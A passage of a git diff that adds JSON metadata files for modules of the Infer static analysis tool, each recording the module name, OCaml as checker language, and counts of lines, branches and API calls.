formation/checkers/integration/Buck.json @@ -0,0 +1,13 @@ +{ + "name": "Buck", + "language": [], + "description": "", + "example": null, + "cwe": null, + "cwe-description": null, + "checker-language": "OCaml", + "loc": 234, + "branches": 28, + "apis": 30, + "test": [] +} \ No newline at end of file diff --git a/Raw Data/Static Analysis Tool/infer/Rule formation/checkers/integration/BxlCapture.json b/Raw Data/Static Analysis Tool/infer/Rule formation/checkers/integration/BxlCapture.json new file mode 100644 index 0000000..5722e52 --- /dev/null +++ b/Raw Data/Static Analysis Tool/infer/Rule formation/checkers/integration/BxlCapture.json @@ -0,0 +1,13 @@ +{ + "name": "BxlCapture", + "language": [], + "description": "", + "example": null, + "cwe": null, + "cwe-description": null, + "checker-language": "OCaml", + "loc": 101, + "branches": 13, + "apis": 10, + "test": [] +} \ No newline at end of file diff --git a/Raw Data/Static Analysis Tool/infer/Rule formation/checkers/integration/CaptureCompilationDatabase.json b/Raw Data/Static Analysis Tool/infer/Rule formation/checkers/integration/CaptureCompilationDatabase.json new file mode 100644 index 0000000..fb8a905 --- /dev/null +++ b/Raw Data/Static Analysis Tool/infer/Rule formation/checkers/integration/CaptureCompilationDatabase.json @@ -0,0 +1,13 @@ +{ + "name": "CaptureCompilationDatabase", + "language": [], + "description": "", + "example": null, + "cwe": null, + "cwe-description": null, + "checker-language": "OCaml", + "loc": 109, + "branches": 7, + "apis": 27, + "test": [] +} \ No newline at end of file diff --git a/Raw Data/Static Analysis Tool/infer/Rule formation/checkers/integration/CaptureManipulation.json b/Raw Data/Static Analysis Tool/infer/Rule formation/checkers/integration/CaptureManipulation.json new file mode 100644 index 0000000..d2d1fb9 --- /dev/null +++ b/Raw Data/Static Analysis Tool/infer/Rule formation/checkers/integration/CaptureManipulation.json @@ -0,0 +1,13 @@ +{ + "name": "CaptureManipulation", + "language": [], + "description": "", + "example": null, + "cwe": null, + "cwe-description": null, + "checker-language": "OCaml", + "loc": 139, + "branches": 10, + "apis": 30, + "test": [] +} \ No newline at end of file diff --git a/Raw Data/Static Analysis Tool/infer/Rule formation/checkers/integration/CaptureSILJson.json b/Raw Data/Static Analysis Tool/infer/Rule formation/checkers/integration/CaptureSILJson.json new file mode 100644 index 0000000..3b23203 --- /dev/null +++ b/Raw Data/Static Analysis Tool/infer/Rule formation/checkers/integration/CaptureSILJson.json @@ -0,0 +1,13 @@ +{ + "name": "CaptureSILJson", + "language": [], + "description": "", + "example": null, + "cwe": null, + "cwe-description": null, + "checker-language": "OCaml", + "loc": 566, + "branches": 59, + "apis": 259, + "test": [] +} \ No newline at end of file diff --git a/Raw Data/Static Analysis Tool/infer/Rule formation/checkers/integration/Clang.json b/Raw Data/Static Analysis Tool/infer/Rule formation/checkers/integration/Clang.json new file mode 100644 index 0000000..1f2d58f --- /dev/null +++ b/Raw Data/Static Analysis Tool/infer/Rule formation/checkers/integration/Clang.json @@ -0,0 +1,13 @@ +{ + "name": "Clang", + "language": [], + "description": "", + "example": null, + "cwe": null, + "cwe-description": null, + "checker-language": "OCaml", + "loc": 21, + "branches": 1, + "apis": 3, + "test": [] +} \ No newline at end of file diff --git a/Raw Data/Static Analysis Tool/infer/Rule formation/checkers/integration/CompilationDatabase.json b/Raw Data/Static Analysis Tool/infer/Rule formation/checkers/integration/CompilationDatabase.json new file mode 100644 index 0000000..eaabb4b --- /dev/null +++ b/Raw Data/Static Analysis Tool/infer/Rule formation/checkers/integration/CompilationDatabase.json @@ -0,0 +1,13 @@ +{ + "name": "CompilationDatabase", + "language": [], + "description": "", + "example": null, + "cwe": null, + "cwe-description": null, + "checker-language": "OCaml", + "loc": 133, + "branches": 13, + "apis": 12, + "test": [] +} \ No newline at end of file diff --git a/Raw Data/Static Analysis Tool/infer/Rule formation/checkers/integration/ConfigImpactIssuesTest.json b/Raw Data/Static Analysis Tool/infer/Rule formation/checkers/integration/ConfigImpactIssuesTest.json new file mode 100644 index 0000000..97504df --- /dev/null +++ b/Raw Data/Static Analysis Tool/infer/Rule formation/checkers/integration/ConfigImpactIssuesTest.json @@ -0,0 +1,13 @@ +{ + "name": "ConfigImpactIssuesTest", + "language": [], + "description": "", + "example": null, + "cwe": null, + "cwe-description": null, + "checker-language": "OCaml", + "loc": 34, + "branches": 1, + "apis": 5, + "test": [] +} \ No newline at end of file diff --git a/Raw Data/Static Analysis Tool/infer/Rule formation/checkers/integration/ConfigImpactPostProcess.json b/Raw Data/Static Analysis Tool/infer/Rule formation/checkers/integration/ConfigImpactPostProcess.json new file mode 100644 index 0000000..9618a93 --- /dev/null +++ b/Raw Data/Static Analysis Tool/infer/Rule formation/checkers/integration/ConfigImpactPostProcess.json @@ -0,0 +1,13 @@ +{ + "name": "ConfigImpactPostProcess", + "language": [], + "description": "", + "example": null, + "cwe": null, + "cwe-description": null, + "checker-language": "OCaml", + "loc": 57, + "branches": 3, + "apis": 12, + "test": [] +} \ No newline at end of file diff --git a/Raw Data/Static Analysis Tool/infer/Rule formation/checkers/integration/CostIssuesTest.json b/Raw Data/Static Analysis Tool/infer/Rule formation/checkers/integration/CostIssuesTest.json new file mode 100644 index 0000000..155b082 --- /dev/null +++ b/Raw Data/Static Analysis Tool/infer/Rule formation/checkers/integration/CostIssuesTest.json @@ -0,0 +1,13 @@ +{ + "name": "CostIssuesTest", + "language": [], + "description": "", + "example": null, + "cwe": null, + "cwe-description": null, + "checker-language": "OCaml", + "loc": 49, + "branches": 2, + "apis": 6, + "test": [] +} \ No newline at end of file diff --git a/Raw Data/Static Analysis Tool/infer/Rule formation/checkers/integration/Differential.json b/Raw Data/Static Analysis Tool/infer/Rule formation/checkers/integration/Differential.json new file mode 100644 index 0000000..968782e --- /dev/null +++ b/Raw Data/Static Analysis Tool/infer/Rule formation/checkers/integration/Differential.json @@ -0,0 +1,13 @@ +{ + "name": "Differential", + "language": [], + "description": "", + "example": null, + "cwe": null, + "cwe-description": null, + "checker-language": "OCaml", + "loc": 484, + "branches": 48, + "apis": 99, + "test": [] +} \ No newline at end of file diff --git a/Raw Data/Static Analysis Tool/infer/Rule formation/checkers/integration/DifferentialFilters.json b/Raw Data/Static Analysis Tool/infer/Rule formation/checkers/integration/DifferentialFilters.json new file mode 100644 index 0000000..a0b83d8 --- /dev/null +++ b/Raw Data/Static Analysis Tool/infer/Rule formation/checkers/integration/DifferentialFilters.json @@ -0,0 +1,13 @@ +{ + "name": "DifferentialFilters", + "language": [], + "description": "", + "example": null, + "cwe": null, + "cwe-description": null, + "checker-language": "OCaml", + "loc": 186, + "branches": 20, + "apis": 35, + "test": [] +} \ No newline at end of file diff --git a/Raw Data/Static Analysis Tool/infer/Rule formation/checkers/integration/Driver.json b/Raw Data/Static Analysis Tool/infer/Rule formation/checkers/integration/Driver.json new file mode 100644 index 0000000..8e54c2d --- /dev/null +++ b/Raw Data/Static Analysis Tool/infer/Rule formation/checkers/integration/Driver.json @@ -0,0 +1,13 @@ +{ + "name": "Driver", + "language": [], + "description": "", + "example": null, + "cwe": null, + "cwe-description": null, + "checker-language": "OCaml", + "loc": 569, + "branches": 64, + "apis": 81, + "test": [] +} \ No newline at end of file diff --git a/Raw Data/Static Analysis Tool/infer/Rule formation/checkers/integration/Erlang.json b/Raw Data/Static Analysis Tool/infer/Rule formation/checkers/integration/Erlang.json new file mode 100644 index 0000000..116f352 --- /dev/null +++ b/Raw Data/Static Analysis Tool/infer/Rule formation/checkers/integration/Erlang.json @@ -0,0 +1,13 @@ +{ + "name": "Erlang", + "language": [], + "description": "", + "example": null, + "cwe": null, + "cwe-description": null, + "checker-language": "OCaml", + "loc": 247, + "branches": 27, + "apis": 38, + "test": [] +} \ No newline at end of file diff --git a/Raw Data/Static Analysis Tool/infer/Rule formation/checkers/integration/Gradle.json b/Raw Data/Static Analysis Tool/infer/Rule formation/checkers/integration/Gradle.json new file mode 100644 index 0000000..b0ec5de --- /dev/null +++ b/Raw Data/Static Analysis Tool/infer/Rule formation/checkers/integration/Gradle.json @@ -0,0 +1,13 @@ +{ + "name": "Gradle", + "language": [], + "description": "", + "example": null, + "cwe": null, + "cwe-description": null, + "checker-language": "OCaml", + "loc": 117, + "branches": 10, + "apis": 18, + "test": [] +} \ No newline at end of file diff --git a/Raw Data/Static Analysis Tool/infer/Rule formation/checkers/integration/Hack.json b/Raw Data/Static Analysis Tool/infer/Rule formation/checkers/integration/Hack.json new file mode 100644 index 0000000..34d9cde --- /dev/null +++ b/Raw Data/Static Analysis Tool/infer/Rule formation/checkers/integration/Hack.json @@ -0,0 +1,13 @@ +{ + "name": "Hack", + "language": [], + "description": "", + "example": null, + "cwe": null, + "cwe-description": null, + "checker-language": "OCaml", + "loc": 426, + "branches": 42, + "apis": 85, + "test": [] +} \ No newline at end of file diff --git a/Raw Data/Static Analysis Tool/infer/Rule formation/checkers/integration/Help.json b/Raw Data/Static Analysis Tool/infer/Rule formation/checkers/integration/Help.json new file mode 100644 index 0000000..3abba52 --- /dev/null +++ b/Raw Data/Static Analysis Tool/infer/Rule formation/checkers/integration/Help.json @@ -0,0 +1,13 @@ +{ + "name": "Help", + "language": [], + "description": "", + "example": null, + "cwe": null, + "cwe-description": null, + "checker-language": "OCaml", + "loc": 317, + "branches": 17, + "apis": 67, + "test": [] +} \ No newline at end of file diff --git a/Raw Data/Static Analysis Tool/infer/Rule formation/checkers/integration/InferCommandImplementation.json b/Raw Data/Static Analysis Tool/infer/Rule formation/checkers/integration/InferCommandImplementation.json new file mode 100644 index 0000000..555af07 --- /dev/null +++ b/Raw Data/Static Analysis Tool/infer/Rule formation/checkers/integration/InferCommandImplementation.json @@ -0,0 +1,13 @@ +{ + "name": "InferCommandImplementation", + "language": [], + "description": "", + "example": null, + "cwe": null, + "cwe-description": null, + "checker-language": "OCaml", + "loc": 294, + "branches": 31, + "apis": 57, + "test": [] +} \ No newline at end of file diff --git a/Raw Data/Static Analysis Tool/infer/Rule formation/checkers/integration/IssuesTest.json b/Raw Data/Static Analysis Tool/infer/Rule formation/checkers/integration/IssuesTest.json new file mode 100644 index 0000000..e754074 --- /dev/null +++ b/Raw Data/Static Analysis Tool/infer/Rule formation/checkers/integration/IssuesTest.json @@ -0,0 +1,13 @@ +{ + "name": "IssuesTest", + "language": [], + "description": "", + "example": null, + "cwe": null, + "cwe-description": null, + "checker-language": "OCaml", + "loc": 138, + "branches": 7, + "apis": 21, + "test": [] +} \ No newline at end of file diff --git a/Raw Data/Static Analysis Tool/infer/Rule formation/checkers/integration/Javac.json b/Raw Data/Static Analysis Tool/infer/Rule formation/checkers/integration/Javac.json new file mode 100644 index 0000000..6f3491d --- /dev/null +++ b/Raw Data/Static Analysis Tool/infer/Rule formation/checkers/integration/Javac.json @@ -0,0 +1,13 @@ +{ + "name": "Javac", + "language": [], + "description": "", + "example": null, + "cwe": null, + "cwe-description": null, + "checker-language": "OCaml", + "loc": 111, + "branches": 11, + "apis": 20, + "test": [] +} \ No newline at end of file diff --git a/Raw Data/Static Analysis Tool/infer/Rule formation/checkers/integration/JsonReports.json b/Raw Data/Static Analysis Tool/infer/Rule formation/checkers/integration/JsonReports.json new file mode 100644 index 0000000..da6e004 --- /dev/null +++ b/Raw Data/Static Analysis Tool/infer/Rule formation/checkers/integration/JsonReports.json @@ -0,0 +1,13 @@ +{ + "name": "JsonReports", + "language": [], + "description": "", + "example": null, + "cwe": null, + "cwe-description": null, + "checker-language": "OCaml", + "loc": 415, + "branches": 29, + "apis": 66, + "test": [] +} \ No newline at end of file diff --git a/Raw Data/Static Analysis Tool/infer/Rule formation/checkers/integration/Kotlinc.json b/Raw Data/Static Analysis Tool/infer/Rule formation/checkers/integration/Kotlinc.json new file mode 100644 index 0000000..9287047 --- /dev/null +++ b/Raw Data/Static Analysis Tool/infer/Rule formation/checkers/integration/Kotlinc.json @@ -0,0 +1,13 @@ +{ + "name": "Kotlinc", + "language": [], + "description": "", + "example": null, + "cwe": null, + "cwe-description": null, + "checker-language": "OCaml", + "loc": 65, + "branches": 6, + "apis": 8, + "test": [] +} \ No newline at end of file diff --git a/Raw Data/Static Analysis Tool/infer/Rule formation/checkers/integration/Maven.json b/Raw Data/Static Analysis Tool/infer/Rule formation/checkers/integration/Maven.json new file mode 100644 index 0000000..7f6d5cc --- /dev/null +++ b/Raw Data/Static Analysis Tool/infer/Rule formation/checkers/integration/Maven.json @@ -0,0 +1,13 @@ +{ + "name": "Maven", + "language": [], + "description": "", + "example": null, + "cwe": null, + "cwe-description": null, + "checker-language": "OCaml", + "loc": 166, + "branches": 16, + "apis": 30, + "test": [] +} \ No newline at end of file diff --git a/Raw Data/Static Analysis Tool/infer/Rule formation/checkers/integration/NdkBuild.json b/Raw Data/Static Analysis Tool/infer/Rule formation/checkers/integration/NdkBuild.json new file mode 100644 index 0000000..1a159e7 --- /dev/null +++ b/Raw Data/Static Analysis Tool/infer/Rule formation/checkers/integration/NdkBuild.json @@ -0,0 +1,13 @@ +{ + "name": "NdkBuild", + "language": [], + "description": "", + "example": null, + "cwe": null, + "cwe-description": null, + "checker-language": "OCaml", + "loc": 44, + "branches": 2, + "apis": 7, + "test": [] +} \ No newline at end of file diff --git a/Raw Data/Static Analysis Tool/infer/Rule formation/checkers/integration/Python.json b/Raw Data/Static Analysis Tool/infer/Rule formation/checkers/integration/Python.json new file mode 100644 index 0000000..f990a16 --- /dev/null +++ b/Raw Data/Static Analysis Tool/infer/Rule formation/checkers/integration/Python.json @@ -0,0 +1,13 @@ +{ + "name": "Python", + "language": [], + "description": "", + "example": null, + "cwe": null, + "cwe-description": null, + "checker-language": "OCaml", + "loc": 238, + "branches": 21, + "apis": 30, + "test": [] +} \ No newline at end of file diff --git a/Raw Data/Static Analysis Tool/infer/Rule formation/checkers/integration/ReportDataFlows.json b/Raw Data/Static Analysis Tool/infer/Rule formation/checkers/integration/ReportDataFlows.json new file mode 100644 index 0000000..79b6408 --- /dev/null +++ b/Raw Data/Static Analysis Tool/infer/Rule formation/checkers/integration/ReportDataFlows.json @@ -0,0 +1,13 @@ +{ + "name": "ReportDataFlows", + "language": [], + "description": "", + "example": null, + "cwe": null, + "cwe-description": null, + "checker-language": "OCaml", + "loc": 36, + "branches": 3, + "apis": 3, + "test": [] +} \ No newline at end of file diff --git a/Raw Data/Static Analysis Tool/infer/Rule formation/checkers/integration/ReportDiff.json b/Raw Data/Static Analysis Tool/infer/Rule formation/checkers/integration/ReportDiff.json new file mode 100644 index 0000000..a3d20a4 --- /dev/null +++ b/Raw Data/Static Analysis Tool/infer/Rule formation/checkers/integration/ReportDiff.json @@ -0,0 +1,13 @@ +{ + "name": "ReportDiff", + "language": [], + "description": "", + "example": null, + "cwe": null, + "cwe-description": null, + "checker-language": "OCaml", + "loc": 52, + "branches": 2, + "apis": 3, + "test": [] +} \ No newline at end of file diff --git a/Raw Data/Static Analysis Tool/infer/Rule formation/checkers/integration/ReportLineage.json b/Raw Data/Static Analysis Tool/infer/Rule formation/checkers/integration/ReportLineage.json new file mode 100644 index 0000000..610d404 --- /dev/null +++ b/Raw Data/Static Analysis Tool/infer/Rule formation/checkers/integration/ReportLineage.json @@ -0,0 +1,13 @@ +{ + "name": "ReportLineage", + "language": [], + "description": "", + "example": null, + "cwe": null, + "cwe-description": null, + "checker-language": "OCaml", + "loc": 50, + "branches": 1, + "apis": 11, + "test": [] +} \ No newline at end of file diff --git a/Raw Data/Static Analysis Tool/infer/Rule formation/checkers/integration/Rust.json b/Raw Data/Static Analysis Tool/infer/Rule formation/checkers/integration/Rust.json new file mode 100644 index 0000000..4600ac1 --- /dev/null +++ b/Raw Data/Static Analysis Tool/infer/Rule formation/checkers/integration/Rust.json @@ -0,0 +1,13 @@ +{ + "name": "Rust", + "language": [], + "description": "", + "example": null, + "cwe": null, + "cwe-description": null, + "checker-language": "OCaml", + "loc": 43, + "branches": 2, + "apis": 8, + "test": [] +} \ No newline at end of file diff --git a/Raw Data/Static Analysis Tool/infer/Rule formation/checkers/integration/SarifReport.json b/Raw Data/Static Analysis Tool/infer/Rule formation/checkers/integration/SarifReport.json new file mode 100644 index 0000000..8fd5ff7 --- /dev/null +++ b/Raw Data/Static Analysis Tool/infer/Rule formation/checkers/integration/SarifReport.json @@ -0,0 +1,13 @@ +{ + "name": "SarifReport", + "language": [], + "description": "", + "example": null, + "cwe": null, + "cwe-description": null, + "checker-language": "OCaml", + "loc": 124, + "branches": 6, + "apis": 10, + "test": [] +} \ No newline at end of file diff --git a/Raw Data/Static Analysis Tool/infer/Rule formation/checkers/integration/StatsDiff.json b/Raw Data/Static Analysis Tool/infer/Rule formation/checkers/integration/StatsDiff.json new file mode 100644 index 0000000..4741649 --- /dev/null +++ b/Raw Data/Static Analysis Tool/infer/Rule formation/checkers/integration/StatsDiff.json @@ -0,0 +1,13 @@ +{ + "name": "StatsDiff", + "language": [], + "description": "", + "example": null, + "cwe": null, + "cwe-description": null, + "checker-language": "OCaml", + "loc": 236, + "branches": 20, + "apis": 41, + "test": [] +} \ No newline at end of file diff --git a/Raw Data/Static Analysis Tool/infer/Rule formation/checkers/integration/Suppressions.json b/Raw Data/Static Analysis Tool/infer/Rule formation/checkers/integration/Suppressions.json new file mode 100644 index 0000000..9c26228 --- /dev/null +++ b/Raw Data/Static Analysis Tool/infer/Rule formation/checkers/integration/Suppressions.json @@ -0,0 +1,13 @@ +{ + "name": "Suppressions", + "language": [], + "description": "", + "example": null, + "cwe": null, + "cwe-description": null, + "checker-language": "OCaml", + "loc": 197, + "branches": 20, + "apis": 48, + "test": [] +} \ No newline at end of file diff --git a/Raw Data/Static Analysis Tool/infer/Rule formation/checkers/integration/TextReport.json b/Raw Data/Static Analysis Tool/infer/Rule formation/checkers/integration/TextReport.json new file mode 100644 index 0000000..554ec87 --- /dev/null +++ b/Raw Data/Static Analysis Tool/infer/Rule formation/checkers/integration/TextReport.json @@ -0,0 +1,13 @@ +{ + "name": "TextReport", + "language": [], + "description": "", + "example": null, + "cwe": null, + "cwe-description": null, + "checker-language": "OCaml", + "loc": 157, + "branches": 16, + "apis": 39, + "test": [] +} \ No newline at end of file diff --git a/Raw Data/Static Analysis Tool/infer/Rule formation/checkers/integration/TraceBugs.json b/Raw Data/Static Analysis Tool/infer/Rule formation/checkers/integration/TraceBugs.json new file mode 100644 index 0000000..8fb5aa8 --- /dev/null +++ b/Raw Data/Static Analysis Tool/infer/Rule formation/checkers/integration/TraceBugs.json @@ -0,0 +1,13 @@ +{ + "name": "TraceBugs", + "language": [], + "description": "", + "example": null, + "cwe": null, + "cwe-description": null, + "checker-language": "OCaml", + "loc": 183, + "branches": 18, + "apis": 36, + "test": [] +} \ No newline at end of file diff --git a/Raw Data/Static Analysis Tool/infer/Rule formation/checkers/integration/XMLReport.json b/Raw Data/Static Analysis Tool/infer/Rule formation/checkers/integration/XMLReport.json new file mode 100644 index 0000000..d3fe82f --- /dev/null +++ b/Raw Data/Static Analysis Tool/infer/Rule formation/checkers/integration/XMLReport.json @@ -0,0 +1,13 @@ +{ + "name": "XMLReport", + "language": [], + "description": "", + "example": null, + "cwe": null, + "cwe-description": null, + "checker-language": "OCaml", + "loc": 45, + "branches": 3, + "apis": 9, + "test": [] +} \ No newline at end of file diff --git a/Raw Data/Static Analysis Tool/infer/Rule formation/checkers/integration/XcodeBuild.json b/Raw Data/Static Analysis Tool/infer/Rule formation/checkers/integration/XcodeBuild.json new file mode 100644 index 0000000..d5b0d50 --- /dev/null +++ b/Raw Data/Static Analysis Tool/infer/Rule formation/checkers/integration/XcodeBuild.json @@ -0,0 +1,13 @@ +{ + "name": "XcodeBuild", + "language": [], + "description": "", + "example": null, + "cwe": null, + "cwe-description": null, + "checker-language": "OCaml", + "loc": 47, + "branches": 1, + "apis": 4, + "test": [] +} \ No newline at end of file diff --git a/Raw Data/Static Analysis Tool/infer/Rule formation/checkers/integration/mergeCapture.json b/Raw Data/Static Analysis Tool/infer/Rule formation/checkers/integration/mergeCapture.json new file mode 100644 index 0000000..b7a789d --- /dev/null +++ b/Raw Data/Static Analysis Tool/infer/Rule formation/checkers/integration/mergeCapture.json @@ -0,0 +1,13 @@ +{ + "name": "mergeCapture", + "language": [], + "description": "", + "example": null, + "cwe": null, + "cwe-description": null, + "checker-language": "OCaml", + "loc": 97, + "branches": 6, + "apis": 25, + "test": [] +} \ No newline at end of file diff --git a/Raw Data/Static Analysis Tool/infer/Rule formation/checkers/istd/ARList.json b/Raw Data/Static Analysis Tool/infer/Rule formation/checkers/istd/ARList.json new file mode 100644 index 0000000..3ae6a6a --- /dev/null +++ b/Raw Data/Static Analysis Tool/infer/Rule formation/checkers/istd/ARList.json @@ -0,0 +1,13 @@ +{ + "name": "ARList", + "language": [], + "description": "", + "example": null, + "cwe": null, + "cwe-description": null, + "checker-language": "OCaml", + "loc": 196, + "branches": 26, + "apis": 81, + "test": [] +} \ No newline at end of file diff --git a/Raw Data/Static Analysis Tool/infer/Rule formation/checkers/istd/Escape.json b/Raw Data/Static Analysis Tool/infer/Rule formation/checkers/istd/Escape.json new file mode 100644 index 0000000..7118c25 --- /dev/null +++ b/Raw Data/Static Analysis Tool/infer/Rule formation/checkers/istd/Escape.json @@ -0,0 +1,13 @@ +{ + "name": "Escape", + "language": [], + "description": "", + "example": null, + "cwe": null, + "cwe-description": null, + "checker-language": "OCaml", + "loc": 129, + "branches": 19, + "apis": 13, + "test": [] +} \ No newline at end of file diff --git a/Raw Data/Static Analysis Tool/infer/Rule formation/checkers/istd/GOption.json b/Raw Data/Static Analysis Tool/infer/Rule formation/checkers/istd/GOption.json new file mode 100644 index 0000000..beecf2f --- /dev/null +++ b/Raw Data/Static Analysis Tool/infer/Rule formation/checkers/istd/GOption.json @@ -0,0 +1,13 @@ +{ + "name": "GOption", + "language": [], + "description": "", + "example": null, + "cwe": null, + "cwe-description": null, + "checker-language": "OCaml", + "loc": 13, + "branches": 3, + "apis": 5, + "test": [] +} \ No newline at end of file diff --git a/Raw Data/Static Analysis Tool/infer/Rule formation/checkers/istd/HashNormalizer.json b/Raw Data/Static Analysis Tool/infer/Rule formation/checkers/istd/HashNormalizer.json new file mode 100644 index 0000000..72a5749 --- /dev/null +++ b/Raw Data/Static Analysis Tool/infer/Rule formation/checkers/istd/HashNormalizer.json @@ -0,0 +1,13 @@ +{ + "name": "HashNormalizer", + "language": [], + "description": "", + "example": null, + "cwe": null, + "cwe-description": null, + "checker-language": "OCaml", + "loc": 66, + "branches": 4, + "apis": 11, + "test": [] +} \ No newline at end of file diff --git a/Raw Data/Static Analysis Tool/infer/Rule formation/checkers/istd/HashSet.json b/Raw Data/Static Analysis Tool/infer/Rule formation/checkers/istd/HashSet.json new file mode 100644 index 0000000..853ae8d --- /dev/null +++ b/Raw Data/Static Analysis Tool/infer/Rule formation/checkers/istd/HashSet.json @@ -0,0 +1,13 @@ +{ + "name": "HashSet", + "language": [], + "description": "", + "example": null, + "cwe": null, + "cwe-description": null, + "checker-language": "OCaml", + "loc": 49, + "branches": 0, + "apis": 12, + "test": [] +} \ No newline at end of file diff --git a/Raw Data/Static Analysis Tool/infer/Rule formation/checkers/istd/ICompare.json b/Raw Data/Static Analysis Tool/infer/Rule formation/checkers/istd/ICompare.json new file mode 100644 index 0000000..06b4513 --- /dev/null +++ b/Raw Data/Static Analysis Tool/infer/Rule formation/checkers/istd/ICompare.json @@ -0,0 +1,13 @@ +{ + "name": "ICompare", + "language": [], + "description": "", + "example": null, + "cwe": null, + "cwe-description": null, + "checker-language": "OCaml", + "loc": 8, + "branches": 1, + "apis": 3, + "test": [] +} \ No newline at end of file diff --git a/Raw Data/Static Analysis Tool/infer/Rule formation/checkers/istd/IContainer.json b/Raw Data/Static Analysis Tool/infer/Rule formation/checkers/istd/IContainer.json new file mode 100644 index 0000000..30cfde4 --- /dev/null +++ b/Raw Data/Static Analysis Tool/infer/Rule formation/checkers/istd/IContainer.json @@ -0,0 +1,13 @@ +{ + "name": "IContainer", + "language": [], + "description": "", + "example": null, + "cwe": null, + "cwe-description": null, + "checker-language": "OCaml", + "loc": 64, + "branches": 9, + "apis": 19, + "test": [] +} \ No newline at end of file diff --git a/Raw Data/Static Analysis Tool/infer/Rule formation/checkers/istd/IExn.json b/Raw Data/Static Analysis Tool/infer/Rule formation/checkers/istd/IExn.json new file mode 100644 index 0000000..065bc54 --- /dev/null +++ b/Raw Data/Static Analysis Tool/infer/Rule formation/checkers/istd/IExn.json @@ -0,0 +1,13 @@ +{ + "name": "IExn", + "language": [], + "description": "", + "example": null, + "cwe": null, + "cwe-description": null, + "checker-language": "OCaml", + "loc": 14, + "branches": 1, + "apis": 6, + "test": [] +} \ No newline at end of file diff --git a/Raw Data/Static Analysis Tool/infer/Rule formation/checkers/istd/IFilename.json b/Raw Data/Static Analysis Tool/infer/Rule formation/checkers/istd/IFilename.json new file mode 100644 index 0000000..75780e8 --- /dev/null +++ b/Raw Data/Static Analysis Tool/infer/Rule formation/checkers/istd/IFilename.json @@ -0,0 +1,13 @@ +{ + "name": "IFilename", + "language": [], + "description": "", + "example": null, + "cwe": null, + "cwe-description": null, + "checker-language": "OCaml", + "loc": 35, + "branches": 3, + "apis": 6, + "test": [] +} \ No newline at end of file diff --git a/Raw Data/Static Analysis Tool/infer/Rule formation/checkers/istd/IFmt.json b/Raw Data/Static Analysis Tool/infer/Rule formation/checkers/istd/IFmt.json new file mode 100644 index 0000000..64a17ea --- /dev/null +++ b/Raw Data/Static Analysis Tool/infer/Rule formation/checkers/istd/IFmt.json @@ -0,0 +1,13 @@ +{ + "name": "IFmt", + "language": [], + "description": "", + "example": null, + "cwe": null, + "cwe-description": null, + "checker-language": "OCaml", + "loc": 16, + "branches": 2, + "apis": 4, + "test": [] +} \ No newline at end of file diff --git a/Raw Data/Static Analysis Tool/infer/Rule formation/checkers/istd/IInt.json b/Raw Data/Static Analysis Tool/infer/Rule formation/checkers/istd/IInt.json new file mode 100644 index 0000000..3bf3c1a --- /dev/null +++ b/Raw Data/Static Analysis Tool/infer/Rule formation/checkers/istd/IInt.json @@ -0,0 +1,13 @@ +{ + "name": "IInt", + "language": [], + "description": "", + "example": null, + "cwe": null, + "cwe-description": null, + "checker-language": "OCaml", + "loc": 14, + "branches": 0, + "apis": 5, + "test": [] +} \ No newline at end of file diff --git a/Raw Data/Static Analysis Tool/infer/Rule formation/checkers/istd/IList.json b/Raw Data/Static Analysis Tool/infer/Rule formation/checkers/istd/IList.json new file mode 100644 index 0000000..c7c2ee3 --- /dev/null +++ b/Raw Data/Static Analysis Tool/infer/Rule formation/checkers/istd/IList.json @@ -0,0 +1,13 @@ +{ + "name": "IList", + "language": [], + "description": "", + "example": null, + "cwe": null, + "cwe-description": null, + "checker-language": "OCaml", + "loc": 214, + "branches": 44, + "apis": 43, + "test": [] +} \ No newline at end of file diff --git a/Raw Data/Static Analysis Tool/infer/Rule formation/checkers/istd/IMtime.json b/Raw Data/Static Analysis Tool/infer/Rule formation/checkers/istd/IMtime.json new file mode 100644 index 0000000..433479f --- /dev/null +++ b/Raw Data/Static Analysis Tool/infer/Rule formation/checkers/istd/IMtime.json @@ -0,0 +1,13 @@ +{ + "name": "IMtime", + "language": [], + "description": "", + "example": null, + "cwe": null, + "cwe-description": null, + "checker-language": "OCaml", + "loc": 14, + "branches": 0, + "apis": 1, + "test": [] +} \ No newline at end of file diff --git a/Raw Data/Static Analysis Tool/infer/Rule formation/checkers/istd/IMutex.json b/Raw Data/Static Analysis Tool/infer/Rule formation/checkers/istd/IMutex.json new file mode 100644 index 0000000..df63a6c --- /dev/null +++ b/Raw Data/Static Analysis Tool/infer/Rule formation/checkers/istd/IMutex.json @@ -0,0 +1,13 @@ +{ + "name": "IMutex", + "language": [], + "description": "", + "example": null, + "cwe": null, + "cwe-description": null, + "checker-language": "OCaml", + "loc": 12, + "branches": 0, + "apis": 4, + "test": [] +} \ No newline at end of file diff --git a/Raw Data/Static Analysis Tool/infer/Rule formation/checkers/istd/IOption.json b/Raw Data/Static Analysis Tool/infer/Rule formation/checkers/istd/IOption.json new file mode 100644 index 0000000..22eb0a2 --- /dev/null +++ b/Raw Data/Static Analysis Tool/infer/Rule formation/checkers/istd/IOption.json @@ -0,0 +1,13 @@ +{ + "name": "IOption", + "language": [], + "description": "", + "example": null, + "cwe": null, + "cwe-description": null, + "checker-language": "OCaml", + "loc": 29, + "branches": 7, + "apis": 9, + "test": [] +} \ No newline at end of file diff --git a/Raw Data/Static Analysis Tool/infer/Rule formation/checkers/istd/IResult.json b/Raw Data/Static Analysis Tool/infer/Rule formation/checkers/istd/IResult.json new file mode 100644 index 0000000..61cd188 --- /dev/null +++ b/Raw Data/Static Analysis Tool/infer/Rule formation/checkers/istd/IResult.json @@ -0,0 +1,13 @@ +{ + "name": "IResult", + "language": [], + "description": "", + "example": null, + "cwe": null, + "cwe-description": null, + "checker-language": "OCaml", + "loc": 12, + "branches": 0, + "apis": 3, + "test": [] +} \ No newline at end of file diff --git a/Raw Data/Static Analysis Tool/infer/Rule formation/checkers/istd/ISeq.json b/Raw Data/Static Analysis Tool/infer/Rule formation/checkers/istd/ISeq.json new file mode 100644 index 0000000..c21eb7a --- /dev/null +++ b/Raw Data/Static Analysis Tool/infer/Rule formation/checkers/istd/ISeq.json @@ -0,0 +1,13 @@ +{ + "name": "ISeq", + "language": [], + "description": "", + "example": null, + "cwe": null, + "cwe-description": null, + "checker-language": "OCaml", + "loc": 17, + "branches": 2, + "apis": 3, + "test": [] +} \ No newline at end of file diff --git a/Raw Data/Static Analysis Tool/infer/Rule formation/checkers/istd/ISequence.json b/Raw Data/Static Analysis Tool/infer/Rule formation/checkers/istd/ISequence.json new file mode 100644 index 0000000..ef775f7 --- /dev/null +++ b/Raw Data/Static Analysis Tool/infer/Rule formation/checkers/istd/ISequence.json @@ -0,0 +1,13 @@ +{ + "name": 